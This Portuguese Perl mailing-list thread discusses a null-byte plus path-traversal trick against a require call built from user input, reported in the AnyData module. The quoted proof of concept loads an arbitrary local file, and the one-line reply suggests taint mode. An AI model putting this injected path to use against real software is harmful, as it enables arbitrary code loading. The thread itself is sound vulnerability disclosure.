teste em 'taint' mode :)
2013/6/11 Junior Moraes <[email protected]> > Hi. > > Estava aqui mexendo com uma aplicação que utiliza o módulo AnyData[1] > dentro de um webservice que retorna as informações desejadas. Neste módulo, > temos o método adExport() que recebe um parâmetro (que, no caso da > aplicação, era recebido via GET) referente ao 'format' e tenta instanciar o > módulo. > Fiquei brincando de manipular o path com esse parâmetro, mas a > concatenação da string '.pm' dificultava as coisas. Porém, como na > exploração de um RFI/LFI (Remote/Local File Inclusion) no PHP, é possível > ignorar isso com o bom e velho null byte[2]. > > Escrevi um exemplo prático: > > > $ pwd > /home/fvox/poc > > $ cat Module.pm > package Module; > > use common::sense; > use Moo; > use Carp; > > use vars qw(@ISA @EXPORT); > @ISA = qw(Exporter); > @EXPORT = qw(testing); > > sub testing { > my $plugin = shift; > > my $module = 'Module/' . $plugin . '.pm'; > eval { require $module; }; > croak $@ if $@; > > $module =~ s/\//::/g; > $module =~ s/\.pm$//gi; > my $obj = $module->new; > } > > 1; > > $ cat inc.pl > print "Null Byte injetado com sucesso! :)\n"; > > $ perl -MModule -E'say > testing("../../../../../../../../../home/fvox/poc/inc.pl\00");'*Null Byte > injetado com sucesso! :)* > Can't locate object method "new" via package > "Module::..::..::..::..::..::..::..::..::..::home::fvox::poc::inc.pl" > (perhaps you forgot to load > "Module::..::..::..::..::..::..::..::..::..::home::fvox::poc::inc.pl"?) at > Module.pm line 21. > > > Não fiz nenhum experimento em alguma aplicação real, mas ficou claro que é > possível injetar um 'evil code' num código vulnerável sem muitos problemas. > Suponho que também funcione na função open(), entre outros casos. > Alguém já tinha brincado com isso antes? Hhauhauh > > PS: Desculpem se isso for muuuito antigo. É que só fui dar uma de > retardado e brincar com isso em 2013... :P > > [1] https://metacpan.org/module/AnyData > [2] http://en.wikipedia.org/wiki/Null_character > > -- > > ==================================== > Junior "fvox" Moraes > Linux Reg. #557527 > junior[at]fvox[dot]com[dot]br > fb[dot]com/juniorfvox > twitter[dot]com/fvox > ==================================== > =begin disclaimer > Sao Paulo Perl Mongers: http://sao-paulo.pm.org/ > SaoPaulo-pm mailing list: [email protected] > L<http://mail.pm.org/mailman/listinfo/saopaulo-pm> > =end disclaimer > > -- Tiago B. Peczenyj Linux User #405772 http://about.me/peczenyj
=begin disclaimer Sao Paulo Perl Mongers: http://sao-paulo.pm.org/ SaoPaulo-pm mailing list: [email protected] L<http://mail.pm.org/mailman/listinfo/saopaulo-pm> =end disclaimer
